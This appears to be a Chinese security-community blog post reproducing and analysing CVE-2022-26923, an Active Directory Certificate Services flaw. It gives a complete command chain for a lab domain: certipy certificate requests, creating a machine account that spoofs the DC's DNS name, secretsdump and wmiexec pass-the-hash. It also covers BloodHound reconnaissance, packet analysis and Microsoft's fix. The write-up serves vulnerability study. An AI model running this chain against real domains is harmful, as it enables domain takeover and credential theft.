点击蓝字 / 关注我们
0x00漏洞简介
该漏洞允许低权限用户在安装了 Active Directory 证书服务 (AD CS) 服务器角色的默认 Active Directory 环境中将权限提升到域管理员。现在很少有没有安装 AD CS 的大中型 Active Directory 环境，所以该漏洞危害和利用性都较强。该漏洞已作为Microsoft 2022 年 5 月安全更新的一部分进行了修补。
0x01环境配置
首先当然是需要一个简单的域环境，我这里是Windows server 2012R2(1.1.1.2)和kali2022(1.1.1.3)组成了一个简单的内网环境。因为这个漏洞基于Certificate Service， 需要 Active Directory 证书服务(AD CS)，所以DC中需要安装此服务。
之后需要配置CA证书。
为了模拟在得到一个user组用户后的提权，我在DC上创建了一个已知的用户(test1 /Syclover!),之后便会使用这个用户的凭据进行提权操作。
在复现时我发现如果是用上述命令行的方式创建的用户，需要手动设置用户登录名，不然用certipy获取证书时会报错。手动创建的用户则没有没有影响。
0x02漏洞复现
申请低权限用户证书：
certipy req chinfo.testlab/'test1:Syclover!'@DC.chinfo.testlab -ca chinfo-DC-CA -template User
用证书申请TGT，得到NTLM hash：
certipy auth -pfx test1.pfx
添加一个Machine账号，并将它的dns改为与DC相同：
certipy account create chinfo.testlab/test1:'Syclover!'@DC.chinfo.testlab -user "hacker" -dns "DC.chinfo.testlab"
获取Machine账户证书：
certipy req chinfo.testlab/'hacker$:Qv8A7bBHFtwpPhRj'@DC.chinfo.testlab -ca chinfo-DC-CA -template Machine
获取Machine账户的NTLM hash：
certipy auth -pfx dc.pfx
使用secretsdump得到admin的hash：
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py 'chinfo.testlab/[email protected]' -hashes b0d7d9976a8006c910f50030088730f8:b0d7d9976a8006c910f50030088730f8
使用wmiexec连接，提权至admin：
python3 /usr/share/doc/python3-impacket/examples/wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:2fd54b5d964ccb69be6bdb69d76fad65 [email protected]
0x03利用性验证
使用BloodHound检测是否有Certificate Service组
收集数据：
bloodhound-python -d chinfo.testlab -u test1 -p 'Syclover!' -ns 1.1.1.2 -c all --zip
起一个neo4j，用bloodhound看看，左上角搜一下。
是有这个组的。
在确定有Certificate Service服务的条件下，在加上能访问到445和636这两个端口，即可利用这个漏洞
这两个端口的必要性将在原理分析中写出。
0x04原理分析
理论原理
本质上的原理是通过Ldap添加了一个计算机账户（machine账户），之后这个域内就相当于有两台计算机（但实际只有一台）。之后它把添加的这个计算机账户的DNShostname改成和DC一样。之后再通过这个账户去请求的时候，certipy会通过用证书进行认证的方式，这种方式不同于使用用户名和密码，它会通过DNShost来解析你映射到了哪个账户上。由于之前这个计算机账户的DNS hostname改成和DC一样了，所以就会返回DC的hash值。
这其中有几个难点：
①为什么要使用machine账户而不使用user账户？
因为使用user账户是用UPN进行解析的，若将dnshost改成和DC一样，就会报错。
若单纯只修改machine账户的dnshost，其实也会报错。因为这样SPN也会同样进行更新，但SPN是唯一的。为了不让它报错，certipy将某些SPN值解绑了，这样更新后就进行了覆盖，就不会报错了。
②两个账户的DNShostname一样了，为什么在请求的时候不会发生冲突
由于采用了证书认证的方式，所以可以很简单的区分出是哪一个，通过这种方式就绕过了。
操作原理
①首先是申请低权限用户证书
抓包看一下过程
先是TCP三次握手，之后可以看到使用的SMB，所以必须要能够访问到445端口
②然后是用证书申请TGT，得到NTLM hash
抓包看看怎么做到的
先是AS-REQ到AS-REP，申请到TGT
之后又用这个TGT去申请了一个TGS
这里应该没有用SPN去申请，应该是直接用的证书里定义的权限去申请了一个TGS，然后利用这个TGS得到了nt哈希。
③然后是添加一个Machine账号，并将它的dns改为与DC相同
抓包看看
可以看到使用的是636端口。389和636都是Ldap端口，但这次是要创建以一个账户，是要发送密码的，所以使用了带加密的636端口。
从抓到的包中也可以看到是TLS隧道。所以从抓的包中是看不到更改dns的详细过程了。
④最后就是得到Machine的hash然后利用工具解密的操作了
0x05漏洞修复
微软在5月安全更新进行了修补。方法是在新证书中引入新的对象 ID (OID) 以进一步对用户进行指纹识别。这是通过在新的( ) OID 中嵌入用户objectSid(SID)来完成的。此外，“验证写入 DNS 主机名”权限现在只允许设置szOID_NTDS_CA_SECURITY_EXT``1.3.6.1.4.1.311.25.2``CT_FLAG_NO_SECURITY_EXTENSION``0x80000``msPKI-Enrollment-Flag``szOID_NTDS_CA_SECURITY_EXT``dNSHostName与帐户的 SAM 帐户名称匹配的属性。但是，使用计算机帐户的通用写入权限，仍然可以创建重复dnsHostName值。
0x06参考文章
Certifried: Active Directory Domain Privilege Escalation (CVE-2022–26923)https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4?gi=293f32b72718
跳跳糖是一个安全社区，旨在为安全人员提供一个能让思维跳跃起来的交流平台。
原文始发于微信公众号（跳跳糖社区）：CVE-2022-26923 Active Directory 域提权 复现与分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论